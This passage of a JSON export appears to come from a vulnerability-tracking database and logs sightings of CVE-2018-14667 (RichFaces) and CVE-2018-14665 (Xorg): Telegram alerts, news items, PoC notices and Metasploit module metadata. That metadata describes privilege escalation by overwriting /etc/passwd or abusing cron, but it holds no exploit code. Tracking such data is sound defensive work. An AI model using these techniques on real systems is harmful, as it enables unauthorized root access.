\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u043b\u0438\u043d\u0443\u043a\u0441\u043e\u0432 \u0441\u043b\u0435\u0434\u0438\u0442\u0435 \u0437\u0430 \u0430\u043f\u0434\u0435\u0439\u0442\u0430\u043c\u0438 \u0443 \u0432\u0435\u043d\u0434\u043e\u0440\u043e\u0432.", "creation_timestamp": "2018-10-26T18:21:42.000000Z"}, {"uuid": "ce4e3340-9f10-4bdc-8e07-cc47cd4e6192", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "seen", "source": "https://t.me/arpsyndicate/1126", "content": "#ExploitObserverAlert\n\nCVE-2018-14667\n\nDESCRIPTION: Exploit Observer has 23 entries related to CVE-2018-14667. The RichFaces Framework 3.X through 3.3.4 is vulnerable to Expression Language (EL) injection via the UserResource resource. A remote, unauthenticated attacker could exploit this to execute arbitrary code using a chain of java serialized objects via org.ajax4jsf.resource.UserResource$UriData.\n\nFIRST-EPSS: 0.820930000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-04T05:40:43.000000Z"}, {"uuid": "cb4ca5e0-7b6b-44ff-a956-91e63086c8fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "exploited", "source": "https://t.me/information_security_channel/50740", "content": "CISA Warns of Old JBoss RichFaces Vulnerability Being Exploited in Attacks\nhttps://www.securityweek.com/cisa-warns-of-old-jboss-richfaces-vulnerability-being-exploited-in-attacks/\n\nCISA has added CVE-2018-14667, an old critical JBoss RichFaces flaw to its known exploited vulnerabilities catalog.\nThe post CISA Warns of Old JBoss RichFaces Vulnerability Being Exploited in Attacks (https://www.securityweek.com/cisa-warns-of-old-jboss-richfaces-vulnerability-being-exploited-in-attacks/) appeared first on SecurityWeek (https://www.securityweek.com/).", "creation_timestamp": "2023-09-29T16:08:50.000000Z"}, {"uuid": "7d115174-669f-4d33-a569-7f0dd2743b95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "https://t.me/canyoupwnme/4657", "content": "X.Org CVE-2018-14665 Zafiyeti\nhttps://www.prismacsi.com/x-org-cve-2018-14665-zafiyeti/", "creation_timestamp": "2018-10-27T15:32:23.000000Z"}, {"uuid": "3aa078e8-e312-491c-afe9-febaf50f889e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "https://t.me/VulnerabilityNews/2622", "content": "#0daytoday #xorg #x11 #server Local Root Exploit CVE-2018-14665 [remote #exploits #0day #Exploit]\nRead More", "creation_timestamp": "2018-10-26T18:09:37.000000Z"}, {"uuid": "262894ea-b1ae-46e8-ad6c-7a755e2eab6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "https://t.me/securixy_kz/155", "content": "\u041d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0433\u0440\u043e\u0436\u0430\u0435\u0442 \u043c\u043d\u043e\u0433\u0438\u043c \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430\u043c Linux \u0438 BSD\n\u0412 \u043a\u043e\u043d\u0446\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u0441\u0442\u0430\u043b\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e, \u0447\u0442\u043e \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u0446\u0438\u0438 Linux \u0438 BSD, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0435 X.Org Server, \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u043f\u0435\u0440\u0435\u0434 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 CVE-2018-14665. X.Org Server (X.Org Foundation Open Source Public Implementation of X11) \u2014 \u044d\u0442\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 X Window System \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0435 UNIX-\u0441\u0438\u0441\u0442\u0435\u043c \u0438 \u0432 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 Linux- \u0438 BSD-\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432.\n\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0431\u0430\u0433 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u043c\u0435\u0435\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 (\u0447\u0435\u0440\u0435\u0437 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b \u0438\u043b\u0438 SSH), \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u0434\u043e\u0441\u0442\u0443\u043f...", "creation_timestamp": "2018-10-29T09:48:03.000000Z"}, {"uuid": "48e42c4b-46bd-448e-82bd-76abd24bb135", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/6fe7f7d9-60b9-47fb-aa13-3c26d5d924fe", "content": "", "creation_timestamp": "2026-06-19T12:46:48.189042Z"}, {"uuid": "863acc5d-7745-4b42-9190-790d9cc07672", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/26e34dc6-8989-42a9-bc5f-6069d07b6aae", "content": "", "creation_timestamp": "2026-06-23T14:05:46.074358Z"}, {"uuid": "c739b6bf-b3b8-439e-851f-e04004cdbdd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100509", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2018-14667_Lab_POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aitLmalem\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-31 13:05:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDemonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-31T15:00:04.299520Z"}, {"uuid": "05be192e-2045-47cf-b73a-a9ea21f5674d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100509", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #POC #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2018-14667_Lab_POC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aitLmalem\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-31 13:05:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nDemonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-01T00:00:09.724793Z"}, {"uuid": "deff7037-30a3-4072-9729-f43fe588180f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "seen", "source": "Telegram/U-Lw1mLsBIRfCm1Ollw0n6rUh-gbSxMVEkANJuForVtnctY", "content": "", "creation_timestamp": "2026-09-02T01:00:09.015649Z"}, {"uuid": "0b922e1b-60a2-4a50-bf14-3650cb7283aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "Telegram/aakSb_pcOAc1Pl3Fb24FHc4T6D9JMGfMSJUeV_afVpMEatGo", "content": "", "creation_timestamp": "2026-09-01T20:02:51.581464Z"}, {"uuid": "89459bd9-694f-4374-a01a-d25d21390d18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "Telegram/aakSb_pcOAc1Pl3Fb24FHc4T6D9JMGfMSJUeV_afVpMEatGo", "content": "", "creation_timestamp": "2026-09-02T01:03:28.381539Z"}, {"uuid": "387f8024-87cf-4a16-b440-ab81841d6830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14667", "type": "published-proof-of-concept", "source": "Telegram/U-Lw1mLsBIRfCm1Ollw0n6rUh-gbSxMVEkANJuForVtnctY", "content": "", "creation_timestamp": "2026-09-03T00:00:56.423794Z"}, {"uuid": "fde4e020-1d80-4132-8ae8-fba233fd5526", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/aix/local/xorg_x11_server.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"cmd\", \"author\": [\"Narendra Shinde\", \"Zack Flack \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"WARNING: Successful execution of this module results in /etc/passwd being overwritten.\\n\\n          This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.\\n\\n          A permission check flaw exists for -modulepath and -logfile options when\\n          starting Xorg.  This allows unprivileged users that can start the server\\n          the ability to elevate privileges and run arbitrary code under root\\n          privileges.\\n\\n          This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.\\n          Due to permission restrictions of the crontab in AIX, this module does not use cron,\\n          and instead overwrites /etc/passwd in order to create a new user with root privileges.\\n          All currently logged in users need to be included when /etc/passwd is overwritten,\\n          else AIX will throw 'Cannot get \\\"LOGNAME\\\" variable' when attempting to change user.\\n          The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,\\n          and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when\\n          overwriting /etc/passwd.\", \"disclosure_date\": \"2018-10-25\", \"fullname\": \"exploit/aix/local/xorg_x11_server\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:59:31 +0000\", \"name\": \"Xorg X11 Server Local Privilege Escalation\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"unreliable-session\"], \"SideEffects\": [\"config-changes\", \"artifacts-on-disk\"], \"Stability\": [\"crash-service-down\"]}, \"path\": \"/modules/exploits/aix/local/xorg_x11_server.rb\", \"platform\": \"Unix\", \"post_auth\": false, \"rank\": 500, \"ref_name\": \"aix/local/xorg_x11_server\", \"references\": [\"CVE-2018-14665\", \"URL-https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html\", \"URL-https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc\", \"URL-https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl\", \"EDB-45938\"], \"rport\": null, \"session_types\": [\"shell\"], \"targets\": [\"IBM AIX Version 6.1\", \"IBM AIX Version 7.1\", \"IBM AIX Version 7.2\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:48:16.073075Z"}, {"uuid": "9df246f6-aef0-4534-8ce3-50eac3cb8e53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/local/xorg_x11_suid_server.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"cmd, x64, x86\", \"author\": [\"Narendra Shinde\", \"Raptor - 0xdea\", \"Aaron Ringo\", \"bcoles \"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module attempts to gain root privileges with SUID Xorg X11 server\\n          versions 1.19.0 < 1.20.3.\\n\\n          A permission check flaw exists for -modulepath and -logfile options when\\n          starting Xorg. This allows unprivileged users that can start the server\\n          the ability to elevate privileges and run arbitrary code under root\\n          privileges.\\n\\n          This module has been tested with OpenBSD 6.3, 6.4, CentOS 7.4.1708, and\\n          CentOS 7.5.1804, and RHEL 7.5. The default PAM configuration for CentOS\\n          and RHEL systems requires console auth for the user's session to start\\n          the Xorg server.\\n\\n          Cron launches the payload, so if SELinux is enforcing, exploitation\\n          may still be possible, but the module will bail.\\n\\n          Xorg must have SUID permissions and may not start if already running.\\n\\n          On exploitation a crontab.old backup file will be created by Xorg.\\n          This module will remove the .old file and restore crontab after\\n          successful exploitation. Failed exploitation may result in a corrupted\\n          crontab. On successful exploitation artifacts will be created consistant\\n          with starting Xorg and running a cron.\", \"disclosure_date\": \"2018-10-25\", \"fullname\": \"exploit/multi/local/xorg_x11_suid_server\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:58:09 +0000\", \"name\": \"Xorg X11 Server SUID logfile Privilege Escalation\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"unreliable-session\"], \"SideEffects\": [\"artifacts-on-disk\", \"config-changes\"], \"Stability\": [\"crash-service-down\"]}, \"path\": \"/modules/exploits/multi/local/xorg_x11_suid_server.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 400, \"ref_name\": \"multi/local/xorg_x11_suid_server\", \"references\": [\"CVE-2018-14665\", \"BID-105741\", \"EDB-45697\", \"EDB-45742\", \"EDB-45832\", \"URL-https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html\", \"URL-https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"OpenBSD\", \"Linux x64\", \"Linux x86\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:24.948795Z"}, {"uuid": "7282b68b-2788-4eed-954f-89bfede37c01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/local/xorg_x11_suid_server_modulepath.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"x64, x86, sparc\", \"author\": [\"Narendra Shinde\", \"Aaron Ringo\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module attempts to gain root privileges with SUID Xorg X11 server\\n          versions 1.19.0 < 1.20.3.\\n\\n          A permission check flaw exists for -modulepath and -logfile options when\\n          starting Xorg.  This allows unprivileged users that can start the server\\n          the ability to elevate privileges and run arbitrary code under root\\n          privileges.\\n\\n          This module has been tested with CentOS 7 (1708).\\n          CentOS default install will require console auth for the users session.\\n          Xorg must have SUID permissions and may not start if running.\\n\\n          On successful exploitation artifacts will be created consistant\\n          with starting Xorg.\", \"disclosure_date\": \"2018-10-25\", \"fullname\": \"exploit/multi/local/xorg_x11_suid_server_modulepath\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:58:09 +0000\", \"name\": \"Xorg X11 Server SUID modulepath Privilege Escalation\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\"], \"Stability\": [\"crash-service-down\"]}, \"path\": \"/modules/exploits/multi/local/xorg_x11_suid_server_modulepath.rb\", \"platform\": \"Linux,Solaris,Unix\", \"post_auth\": false, \"rank\": 400, \"ref_name\": \"multi/local/xorg_x11_suid_server_modulepath\", \"references\": [\"CVE-2018-14665\", \"BID-105741\", \"EDB-45697\", \"EDB-45742\", \"EDB-45832\", \"URL-https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html\"], \"rport\": null, \"session_types\": [\"shell\", \"meterpreter\"], \"targets\": [\"Linux x64\", \"Linux x86\", \"Solaris x86\", \"Solaris x64\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:25.024718Z"}, {"uuid": "e75f64f2-3ab2-4cdb-ae9a-74f941217a58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "published-proof-of-concept", "source": "Telegram/aakSb_pcOAc1Pl3Fb24FHc4T6D9JMGfMSJUeV_afVpMEatGo", "content": "", "creation_timestamp": "2026-09-08T20:00:05.562162Z"}, {"uuid": "adb8701c-b1b7-4838-93a1-0604b12ce409", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2018-14665", "type": "published-proof-of-concept", "source": "Telegram/aakSb_pcOAc1Pl3Fb24FHc4T6D9JMGfMSJUeV_afVpMEatGo", "content": "", "creation_timestamp": "2026-09-09T00:00:27.295540Z"}]}